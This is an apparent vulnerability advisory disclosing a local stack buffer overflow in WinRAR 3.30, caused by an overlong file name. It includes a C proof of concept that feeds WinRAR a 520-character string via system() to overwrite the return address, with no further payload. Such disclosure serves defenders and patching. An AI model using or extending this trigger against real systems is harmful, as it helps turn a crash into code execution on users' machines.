Winrar 3.30 Local Buffer Overflow
Hello everybody
We found a vulnerability in WinRAR 3.30 that overrun the program in Windows
Platforms .
================================================
Synopsis: WinRAR Buffer Overflow Vulnerability in File Name
Product: WinRAR
Version: 3.30
Vender: RARLab (http://www.rarlab.com)
Remote: No
Local: Yes
Discover: Vredited By Alpha Programmer & Trap-Set U.H Team
================================================
When WinRAR Opens an archive which includes the long File Name in inside,
Buffer Over runing occurs on the stack.
This Event Happen When We Use 520 Character inside the Winrar.exe. it Fill the
Ret Successful .
================================================
In Follow You Can See a Proof Of Concept For Overflow . Please Execute it in
Winrar 3.30 Directory :
================================================
#include<stdio.h>
#include<windows.h>
int main (void)
{
char bad[1500] = "" ;
char bad2[1500] = "WinRAR\t";
printf ("\t\t** Merry Christmas **\n\n");
printf ("\t\t Trap-Set U.H Team\n");
printf (" \tWinRAR 3.30 Local Buffer Overflow\n");
memset (bad,'a',520);
strcat(bad2,bad);
printf("\nOver Running ... Just a Proof Of Concept . Not For Attacking
!\n\n");
printf("\tDiscovered By : Alpha Programmer\n");
system(bad2);
return (0);
}
================================================
Tested on WinXP SP 2 Platform .
Special Tnx to :
mh_p0rtal -- Dr-CephaleX
And : www.Couz.com Security Team
For Contact :
Alpha_Programmer@xxxxxxxxxxxxx
** Trap-Set U.H Team **
** Merry Christmas **
=================================================